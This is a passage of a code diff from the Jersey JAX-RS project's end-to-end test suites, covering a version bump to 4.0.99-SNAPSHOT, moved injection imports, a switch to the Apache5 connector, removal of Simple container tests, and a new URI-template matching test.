+++ b/tests/e2e-inject/hk2/src/test/java/org/glassfish/jersey/tests/e2e/inject/hk2/JerseyAbstractBinderTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,7 +16,7 @@
 
 package org.glassfish.jersey.tests.e2e.inject.hk2;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
 import org.junit.jupiter.api.Test;
diff --git a/tests/e2e-inject/non-inject/pom.xml b/tests/e2e-inject/non-inject/pom.xml
index 76a53e2..a0f81ed 100644
--- a/tests/e2e-inject/non-inject/pom.xml
+++ b/tests/e2e-inject/non-inject/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2024, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>e2e-inject</artifactId>
         <groupId>org.glassfish.jersey.tests</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/e2e-inject/pom.xml b/tests/e2e-inject/pom.xml
index 2c9d093..ff15309 100644
--- a/tests/e2e-inject/pom.xml
+++ b/tests/e2e-inject/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-inject</artifactId>
diff --git a/tests/e2e-jdk-specifics/pom.xml b/tests/e2e-jdk-specifics/pom.xml
index 015079a..55dd6c2 100644
--- a/tests/e2e-jdk-specifics/pom.xml
+++ b/tests/e2e-jdk-specifics/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-jdk-specifics</artifactId>
diff --git a/tests/e2e-server/pom.xml b/tests/e2e-server/pom.xml
index 64d5f26..9adafc5 100644
--- a/tests/e2e-server/pom.xml
+++ b/tests/e2e-server/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-server</artifactId>
@@ -143,7 +143,7 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
+            <artifactId>jersey-apache5-connector</artifactId>
             <scope>test</scope>
         </dependency>
         <dependency>
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AbstractDisableMetainfServicesLookupTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AbstractDisableMetainfServicesLookupTest.java
index 529b93b..7ef5b18 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AbstractDisableMetainfServicesLookupTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/AbstractDisableMetainfServicesLookupTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -43,8 +43,8 @@
 import jakarta.inject.Singleton;
 
 import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.internal.ServiceFinderBinder;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
+import org.glassfish.jersey.innate.inject.ServiceFinderBinder;
 import org.glassfish.jersey.message.internal.AbstractMessageReaderWriterProvider;
 import org.glassfish.jersey.message.internal.ReaderWriter;
 import org.glassfish.jersey.server.ResourceConfig;
@@ -53,7 +53,7 @@
 import org.junit.jupiter.api.Assertions;
 
 /**
- * This is base for tests testing enabling/disabling configuration property
+ * This is base for tests enabling/disabling configuration property
  * {@link org.glassfish.jersey.server.ServerProperties#METAINF_SERVICES_LOOKUP_DISABLE}.
  *
  * @author Libor Kramolis
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/CustomInjectablesApplicationTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/CustomInjectablesApplicationTest.java
index 74d05f1..9b6ca3a 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/CustomInjectablesApplicationTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/CustomInjectablesApplicationTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -33,16 +33,15 @@
 import jakarta.inject.Qualifier;
 import jakarta.inject.Singleton;
 
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.Bindings;
 import org.glassfish.jersey.inject.hk2.Hk2InjectionManagerFactory;
 import org.glassfish.jersey.inject.hk2.Hk2RequestScope;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.AnnotationLiteral;
 import org.glassfish.jersey.internal.inject.Binder;
-import org.glassfish.jersey.internal.inject.Bindings;
-import org.glassfish.jersey.internal.inject.ClassBinding;
+import org.glassfish.jersey.internal.inject.Binding;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.process.internal.RequestScope;
 import org.glassfish.jersey.process.internal.RequestScoped;
 import org.glassfish.jersey.server.ResourceConfig;
@@ -69,18 +68,18 @@
         @Inject
         public MyApplication(InjectionManager injectionManager) {
             System.out.println("Registering injectables...");
-            ClassBinding<MyInjectablePerRequest> injectClassRequest =
+            Binding injectClassRequest =
                     Bindings.serviceAsContract(MyInjectablePerRequest.class)
                             .in(RequestScoped.class);
 
-            ClassBinding<MyInjectableSingleton> injectClassSingleton =
+            Binding injectClassSingleton =
                     Bindings.serviceAsContract(MyInjectableSingleton.class)
                             .in(Singleton.class);
 
-            InstanceBinding<MyInjectableSingleton> injectInstanceSingleton =
+            Binding injectInstanceSingleton =
                     Bindings.serviceAsContract(new MyInjectableSingleton());
 
-            ClassBinding<MyInjectablePerRequest> injectQualifiedClassRequest =
+            Binding injectQualifiedClassRequest =
                     Bindings.serviceAsContract(MyInjectablePerRequest.class)
                             .qualifiedBy(new MyQualifierImpl())
                             .in(RequestScoped.class);
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/CustomInjectablesResourceConfigTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/CustomInjectablesResourceConfigTest.java
index 3c94e70..f3e6d8f 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/CustomInjectablesResourceConfigTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/CustomInjectablesResourceConfigTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -29,7 +29,7 @@
 import jakarta.inject.Qualifier;
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.AnnotationLiteral;
 import org.glassfish.jersey.process.internal.RequestScoped;
 import org.glassfish.jersey.server.ResourceConfig;
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/InjectionManagerServerProviderTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/InjectionManagerServerProviderTest.java
index eebfc8c..3fac0e9 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/InjectionManagerServerProviderTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/InjectionManagerServerProviderTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -40,7 +40,7 @@
 import jakarta.inject.Inject;
 
 import org.glassfish.jersey.InjectionManagerProvider;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/RequestScopedAndAsyncTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/RequestScopedAndAsyncTest.java
index 4c5ec0d..9f4b8f5 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/RequestScopedAndAsyncTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/RequestScopedAndAsyncTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -33,7 +33,7 @@
 
 import jakarta.inject.Inject;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
 import org.glassfish.jersey.process.internal.RequestScoped;
 import org.glassfish.jersey.server.ResourceConfig;
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ResponseStatusTypeTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ResponseStatusTypeTest.java
index 60c402b..fc3fc01 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ResponseStatusTypeTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ResponseStatusTypeTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
 import jakarta.ws.rs.core.Application;
 import jakarta.ws.rs.core.Response;
 
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
+import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.grizzly.connector.GrizzlyConnectorProvider;
 import org.glassfish.jersey.server.ResourceConfig;
@@ -30,7 +30,6 @@
 import org.glassfish.jersey.test.grizzly.GrizzlyTestContainerFactory;
 import org.glassfish.jersey.test.inmemory.InMemoryTestContainerFactory;
 import org.glassfish.jersey.test.jdkhttp.JdkHttpServerTestContainerFactory;
-import org.glassfish.jersey.test.simple.SimpleTestContainerFactory;
 import org.glassfish.jersey.test.spi.TestContainerException;
 import org.glassfish.jersey.test.spi.TestContainerFactory;
 
@@ -48,8 +47,7 @@
 @Suite
 @SelectClasses({ResponseStatusTypeTest.InMemoryTest.class,
         ResponseStatusTypeTest.GrizzlyContainerGrizzlyConnectorTest.class,
-        ResponseStatusTypeTest.GrizzlyContainerApacheConnectorTest.class,
-        ResponseStatusTypeTest.SimpleContainerHttpUrlConnectorTest.class})
+        ResponseStatusTypeTest.GrizzlyContainerApacheConnectorTest.class})
 public class ResponseStatusTypeTest {
 
     public static final String REASON_PHRASE = "my-phrase";
@@ -130,7 +128,7 @@
 
         @Override
         protected void configureClient(ClientConfig config) {
-            config.connectorProvider(new ApacheConnectorProvider());
+            config.connectorProvider(new Apache5ConnectorProvider());
         }
 
 
@@ -150,34 +148,6 @@
         }
     }
 
-    public static class SimpleContainerHttpUrlConnectorTest extends JerseyTest {
-        @Override
-        protected Application configure() {
-            return new ResourceConfig(TestResource.class);
-
-        }
-
-        @Override
-        protected TestContainerFactory getTestContainerFactory() throws TestContainerException {
-            return new SimpleTestContainerFactory();
-        }
-
-        @Test
-        public void testCustom() {
-            _testCustom(target());
-        }
-
-        @Test
-        public void testBadRequest() {
-            _testBadRequest(target());
-        }
-
-        @Test
-        public void testCustomBadRequest() {
-            _testCustomBadRequest(target());
-        }
-    }
-
     public static class JdkHttpContainerHttpUrlConnectorTest extends JerseyTest {
         @Override
         protected Application configure() {
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ServerDestroyTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ServerDestroyTest.java
index 3e20517..cdcfbe2 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ServerDestroyTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/ServerDestroyTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -41,7 +41,7 @@
 import jakarta.inject.Inject;
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.server.spi.AbstractContainerLifecycleListener;
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/monitoring/ReloadApplicationEventTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/monitoring/ReloadApplicationEventTest.java
index 690777a..3f63919 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/monitoring/ReloadApplicationEventTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/monitoring/ReloadApplicationEventTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -44,7 +44,6 @@
 import org.glassfish.jersey.test.grizzly.GrizzlyTestContainerFactory;
 import org.glassfish.jersey.test.jdkhttp.JdkHttpServerTestContainerFactory;
 import org.glassfish.jersey.test.jetty.JettyTestContainerFactory;
-import org.glassfish.jersey.test.simple.SimpleTestContainerFactory;
 import org.glassfish.jersey.test.spi.TestContainerException;
 import org.glassfish.jersey.test.spi.TestContainerFactory;
 
@@ -67,8 +66,7 @@
  * @author Miroslav Fuksa
  */
 @Suite
-@SelectClasses({ReloadApplicationEventTest.GrizzlyTestCase.class, ReloadApplicationEventTest.JdkServerTestCase.class,
-        ReloadApplicationEventTest.SimpleHttpServerTestCase.class})
+@SelectClasses({ReloadApplicationEventTest.GrizzlyTestCase.class, ReloadApplicationEventTest.JdkServerTestCase.class})
 public class ReloadApplicationEventTest extends JerseyTest {
 
     public static final String ORIGINAL = "original";
@@ -90,9 +88,6 @@
         }
     }
 
-    /**
-     * Works only with Java 7
-     */
     public static class JettyServerTestCase extends ParentTest {
 
         @Override
@@ -101,14 +96,6 @@
         }
     }
 
-    public static class SimpleHttpServerTestCase extends ParentTest {
-
-        @Override
-        protected TestContainerFactory getTestContainerFactory() throws TestContainerException {
-            return new SimpleTestContainerFactory();
-        }
-    }
-
     public static class ParentTest extends JerseyTest {
 
         @BeforeEach
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/monitoring/StatisticsDestroyTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/monitoring/StatisticsDestroyTest.java
index f47330b..a13a20d 100644
--- a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/monitoring/StatisticsDestroyTest.java
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/monitoring/StatisticsDestroyTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -39,7 +39,6 @@
 import org.glassfish.jersey.test.grizzly.GrizzlyTestContainerFactory;
 import org.glassfish.jersey.test.jdkhttp.JdkHttpServerTestContainerFactory;
 import org.glassfish.jersey.test.jetty.JettyTestContainerFactory;
-import org.glassfish.jersey.test.simple.SimpleTestContainerFactory;
 import org.glassfish.jersey.test.spi.TestContainerException;
 import org.glassfish.jersey.test.spi.TestContainerFactory;
 import org.junit.jupiter.api.AfterEach;
@@ -53,8 +52,7 @@
  * @author Miroslav Fuksa
  */
 @Suite
-@SelectClasses({StatisticsDestroyTest.GrizzlyTestCase.class, StatisticsDestroyTest.JdkServerTestCase.class,
-        StatisticsDestroyTest.SimpleHttpServerTestCase.class})
+@SelectClasses({StatisticsDestroyTest.GrizzlyTestCase.class, StatisticsDestroyTest.JdkServerTestCase.class})
 public class StatisticsDestroyTest {
 
     public static class ParentTest extends JerseyTest {
@@ -152,14 +150,6 @@
         }
     }
 
-    public static class SimpleHttpServerTestCase extends ParentTest {
-        @Override
-        protected TestContainerFactory getTestContainerFactory() throws TestContainerException {
-            StatisticsListener.reset();
-            return new SimpleTestContainerFactory();
-        }
-    }
-
     public static class StatisticsListener extends AbstractContainerLifecycleListener
             implements MonitoringStatisticsListener, DestroyListener {
 
diff --git a/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/routing/GetMatchedResourceTemplateTest.java b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/routing/GetMatchedResourceTemplateTest.java
new file mode 100644
index 0000000..6e467d7
--- /dev/null
+++ b/tests/e2e-server/src/test/java/org/glassfish/jersey/tests/e2e/server/routing/GetMatchedResourceTemplateTest.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.e2e.server.routing;
+
+import jakarta.ws.rs.ApplicationPath;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.PUT;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.UriInfo;
+import org.glassfish.jersey.server.internal.routing.UriRoutingContext;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import java.util.Collections;
+import java.util.Set;
+
+public class GetMatchedResourceTemplateTest extends JerseyTest {
+
+    @Path("/resource")
+    public static class UriInfoTestResource {
+        public static final String ONE_POST = "{name:[a-zA-Z][a-zA-Z_0-9]*}";
+        public static final String TWO_GET = "{Prefix}{p:/?}{id: ((\\d+)?)}/abc{p2:/?}{number: (([A-Za-z0-9]*)?)}";
+        public static final String TWO_POST = "{Prefix}{p:/?}{id: ((\\d+)?)}/abc/{yeah}";
+        public static final String THREE_SUB = "{x:[a-z]}";
+
+        public static class SubGet {
+            @PUT
+            public String get(@Context UriInfo uriInfo) {
+                return ((UriRoutingContext) uriInfo).getMatchedResourceTemplate();
+            }
+        }
+
+        @POST
+        @Path("one/" + ONE_POST)
+        public Response post(@Context UriInfo info) {
+            return Response.ok(((UriRoutingContext) info).getMatchedResourceTemplate()).build();
+        }
+
+        @GET
+        @Path("two/" + TWO_GET)
+        public Response get(@Context UriInfo info) {
+            return Response.ok(((UriRoutingContext) info).getMatchedResourceTemplate()).build();
+        }
+
+        @POST
+        @Path("two/" + TWO_POST)
+        public Response postTwo(@Context UriInfo info) {
+            return Response.ok(((UriRoutingContext) info).getMatchedResourceTemplate()).build();
+        }
+
+        @Path("three/" + THREE_SUB)
+        public SubGet doAnything4() {
+            return new SubGet();
+        }
+
+        @Path("four/" + THREE_SUB)
+        public UriInfoTestResource postOne() {
+            return new UriInfoTestResource();
+        }
+    }
+
+    @ApplicationPath("/app")
+    private static class App extends Application {
+        @Override
+        public Set<Class<?>> getClasses() {
+            return Collections.singleton(UriInfoTestResource.class);
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        return new App();
+    }
+
+    @Test
+    public void testPOSTone() {
+        try (Response r = target("app/resource/one/azazaz00").request().post(null)) {
+            Assertions.assertEquals(200, r.getStatus());
+            Assertions.assertEquals("/app/resource/one/" + UriInfoTestResource.ONE_POST, r.readEntity(String.class));
+        }
+    }
+
+    @Test
+    public void testTWOget() {
+        try (Response r = target("app/resource/two/P/abc/MyNumber").request().get()) {
+            Assertions.assertEquals(200, r.getStatus());
+            Assertions.assertEquals("/app/resource/two/" + UriInfoTestResource.TWO_GET, r.readEntity(String.class));
+        }
+    }
+
+    @Test
+    public void testTWOpost() {
+        try (Response r = target("app/resource/two/P/abc/MyNumber").request().post(null)) {
+            Assertions.assertEquals(200, r.getStatus());
+            Assertions.assertEquals("/app/resource/two/" + UriInfoTestResource.TWO_POST, r.readEntity(String.class));
+        }
+    }
+
+    @Test
+    public void testPUTthree2() {
+        try (Response r = target("app/resource/three/a").request().put(Entity.entity("", MediaType.WILDCARD_TYPE))) {
+            Assertions.assertEquals(200, r.getStatus());
+            Assertions.assertEquals("/app/resource/three/" + UriInfoTestResource.THREE_SUB, r.readEntity(String.class));
+        }
+    }
+}
diff --git a/tests/e2e-testng/pom.xml b/tests/e2e-testng/pom.xml
index 022ebc7..39438c4 100644
--- a/tests/e2e-testng/pom.xml
+++ b/tests/e2e-testng/pom.xml
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-testng</artifactId>
diff --git a/tests/e2e-tls/pom.xml b/tests/e2e-tls/pom.xml
index 2ac849e..84f1706 100644
--- a/tests/e2e-tls/pom.xml
+++ b/tests/e2e-tls/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-tls</artifactId>
@@ -100,12 +100,6 @@
             <version>0.18.1</version>
             <scope>test</scope>
         </dependency>
-
-        <dependency>
-            <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
-            <scope>test</scope>
-        </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
             <artifactId>jersey-apache5-connector</artifactId>
@@ -137,40 +131,24 @@
             <version>${project.version}</version>
             <scope>test</scope>
         </dependency>
+        <dependency>
+            <groupId>com.sun.xml.bind</groupId>
+            <artifactId>jaxb-osgi</artifactId>
+            <scope>test</scope>
+        </dependency>
     </dependencies>
 
+    <properties>
+        <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 -->
+        <surefire.security.argline>-Djdk.tls.server.protocols=TLSv1.2</surefire.security.argline>
+        <http.patch.addopens>
+            --add-opens java.base/java.net=ALL-UNNAMED
+            --add-opens java.base/sun.net.www.protocol.https=ALL-UNNAMED
+        </http.patch.addopens>
+    </properties>
+
     <profiles>
         <profile>
-            <id>jdk8</id>
-            <activation>
-                <jdk>8</jdk>
-            </activation>
-            <properties>
-                <http.patch.addopens> </http.patch.addopens>
-            </properties>
-        </profile>
-        <profile>
-            <id>jdk11+</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>com.sun.xml.bind</groupId>
-                    <artifactId>jaxb-osgi</artifactId>
-                    <scope>test</scope>
-                </dependency>
-            </dependencies>
-            <properties>
-                <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 -->
-                <surefire.security.argline>-Djdk.tls.server.protocols=TLSv1.2</surefire.security.argline>
-                <http.patch.addopens>
-                    --add-opens java.base/java.net=ALL-UNNAMED
-                    --add-opens java.base/sun.net.www.protocol.https=ALL-UNNAMED
-                </http.patch.addopens>
-            </properties>
-        </profile>
-        <profile>
             <id>JDK_17-</id>
             <activation>
                 <jdk>[11,17)</jdk>
diff --git a/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SniTest.java b/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SniTest.java
index 7da4a6b..9c64c2d 100644
--- a/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SniTest.java
+++ b/tests/e2e-tls/src/test/java/org/glassfish/jersey/tests/e2e/tls/SniTest.java
@@ -17,7 +17,6 @@
 package org.glassfish.jersey.tests.e2e.tls;
 
 import jakarta.ws.rs.client.Invocation;
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
 import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.client.ClientProperties;
@@ -60,7 +59,6 @@
     public static ConnectorProvider[] getConnectors() {
         return new ConnectorProvider[] {
                 new NettyConnectorProvider(),
-                new ApacheConnectorProvider(),
                 new Apache5ConnectorProvider(),
                 new JdkConnectorProvider(),
                 new HttpUrlConnectorProvider(),
diff --git a/tests/e2e/pom.xml b/tests/e2e/pom.xml
index 1d0afdd..698ba28 100644
--- a/tests/e2e/pom.xml
+++ b/tests/e2e/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e</artifactId>
@@ -126,7 +126,7 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
+            <artifactId>jersey-apache5-connector</artifactId>
             <scope>test</scope>
         </dependency>
         <dependency>
@@ -198,27 +198,6 @@
             </properties>
         </profile>
         <profile>
-            <id>JettyExclude</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/tests/e2e/container/Jersey2462Test.java</testExclude>
-                                <testExclude>org/glassfish/jersey/tests/e2e/container/JettyEmptyHeaderParamTest.java</testExclude>
-                                <testExclude>org/glassfish/jersey/tests/e2e/inject/SingleRequestScopeInjectionTest.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
             <id>sonar</id>
             <build>
                 <pluginManagement>
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/AbortingFilterTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/AbortingFilterTest.java
index 35566f8..e836573 100644
--- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/AbortingFilterTest.java
+++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/AbortingFilterTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -33,7 +33,7 @@
